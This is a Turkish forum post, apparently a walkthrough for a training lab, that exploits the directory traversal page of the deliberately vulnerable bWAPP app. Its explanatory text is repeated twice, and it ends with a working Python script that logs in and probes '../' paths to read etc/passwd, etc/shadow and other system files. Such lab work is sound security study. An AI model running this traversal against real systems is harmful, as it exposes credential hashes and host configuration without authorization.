Selamun Aleyküm
oncelikle sitemizi acalim ve url kısmına merhaba adında var olmayan bir dosya girelim
![](https://i.hizliresim.com/nj4wguw.png)
bize this file doesnt exist diye bir hata verdi bu hatayı hangi kod blogu ile vermiş sayfanın kaynak koduna bakarak bunu bulalım
![](https://i.hizliresim.com/ioj8m3u.png)
gördüğünüz gibi <div> etiketinin main adlı id değeri altında bu cıktıyı vermiş = <div id="main">this file doesnt exist!</div>
bu bilgi var olan bir dosya girdiğimizde dosyanın cıktısını almak icin bize lazım olacak
şimdi kodumuza geçelim :
burası siteye giriş kısmı burayı gecebilirsiniz onemli birşey yok
![](https://i.hizliresim.com/82dud8i.png)
tam kodun çalışan kısmına gecmeden once şunları anlayalım
![](https://i.hizliresim.com/dhhslwk.png)
../ ile geride kalan dizindeki dosyaları okuyabiliriz
ve kodumuz :
![](https://i.hizliresim.com/5hs6tg0.png)
kodun cıktıları :
![](https://i.hizliresim.com/i2nh2ei.png)
![](https://i.hizliresim.com/kdyru69.png)
etc/sudoers etc/shadow dosyaları icin couldnt open diyor erişim kısıtlaması koymuşlar bu dosyaları okumaya yetkimiz yok yani (dosya buyuk ihtimalle okunabilir ama ben okumayı bilmiyorum illaki bir yolu vardır)
![](https://i.hizliresim.com/opxanmd.png)
kodun tamamı :
oncelikle sitemizi acalim ve url kısmına merhaba adında var olmayan bir dosya girelim
![](https://i.hizliresim.com/nj4wguw.png)
bize this file doesnt exist diye bir hata verdi bu hatayı hangi kod blogu ile vermiş sayfanın kaynak koduna bakarak bunu bulalım
![](https://i.hizliresim.com/ioj8m3u.png)
gördüğünüz gibi <div> etiketinin main adlı id değeri altında bu cıktıyı vermiş = <div id="main">this file doesnt exist!</div>
bu bilgi var olan bir dosya girdiğimizde dosyanın cıktısını almak icin bize lazım olacak
şimdi kodumuza geçelim :
burası siteye giriş kısmı burayı gecebilirsiniz onemli birşey yok
![](https://i.hizliresim.com/82dud8i.png)
tam kodun çalışan kısmına gecmeden once şunları anlayalım
![](https://i.hizliresim.com/dhhslwk.png)
../ ile geride kalan dizindeki dosyaları okuyabiliriz
ve kodumuz :
![](https://i.hizliresim.com/5hs6tg0.png)
kodun cıktıları :
![](https://i.hizliresim.com/i2nh2ei.png)
![](https://i.hizliresim.com/kdyru69.png)
etc/sudoers etc/shadow dosyaları icin couldnt open diyor erişim kısıtlaması koymuşlar bu dosyaları okumaya yetkimiz yok yani (dosya buyuk ihtimalle okunabilir ama ben okumayı bilmiyorum illaki bir yolu vardır)
![](https://i.hizliresim.com/opxanmd.png)
kodun tamamı :
Python:
from selenium import webdriver
from selenium.webdriver.common.by import By
import requests
from bs4 import BeautifulSoup
browser = webdriver.Firefox()
browser.get("http://10.0.2.4/bWAPP")
browser.find_element(By.ID,"login").send_keys("bee")
browser.find_element(By.ID,"password").send_keys("bug")
login = browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
browser.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page=message.txt")
response = browser.get_cookies()
session = requests.Session()
for cookie in response:
session.cookies.set(cookie['name'],cookie['value'])
browser.quit()
#------------------------------------------------------
geri = '../'
kac_tane = 1
dosyanın_içeriği = []
dosyalar = ['etc/hostname','etc/group','etc/hosts','etc/sudoers','etc/shadow','etc/passwd']
for dosya in dosyalar:
if "This file doesn't exist!" in session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dosya).text:
kac_tane = 1
while kac_tane < 10:
kac_tane += 1
dizin_git = geri*kac_tane
if "This file doesn't exist!" in session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dizin_git+dosya).text:
continue
else:
dosyanın_içeriği.append(session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dizin_git+dosya).text)
kac_tane = 11
else:
dosyanın_içeriği.append(session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dosya).text)
ne_işe_yarar = {
'etc/hostname': 'ana bilgisayarın adını içerir',
'etc/group': 'Tüm grup hesaplarının listesini ve temel bilgileri içerir',
'etc/hosts': 'IP adreslerinin listesi ve bunların ana bilgisayar adı çevirilerini içerir',
'etc/sudoers': 'sudo ayarları yapılan sudo kullanıcısı eklenen dosya',
'etc/shadow': 'kullanıcı şifrelerinin hashlenmiş hallerini içerir',
'etc/passwd': 'tüm kullanıcı hesaplarının listesini ve temel bilgilerini içerir'
}
for g in range(len(dosyanın_içeriği)):
degisken = BeautifulSoup(dosyanın_içeriği[g],'html.parser').find_all('div',{'id':'main'})
print("\n\n***************************************************\n\n")
try:
print(f"{dosyalar[g]} adlı dosyada yer alan bilgiler --> {ne_işe_yarar[dosyalar[g]]}\ndosyanın içeriği :\n\n{degisken}")
except:
pass
Son düzenleme: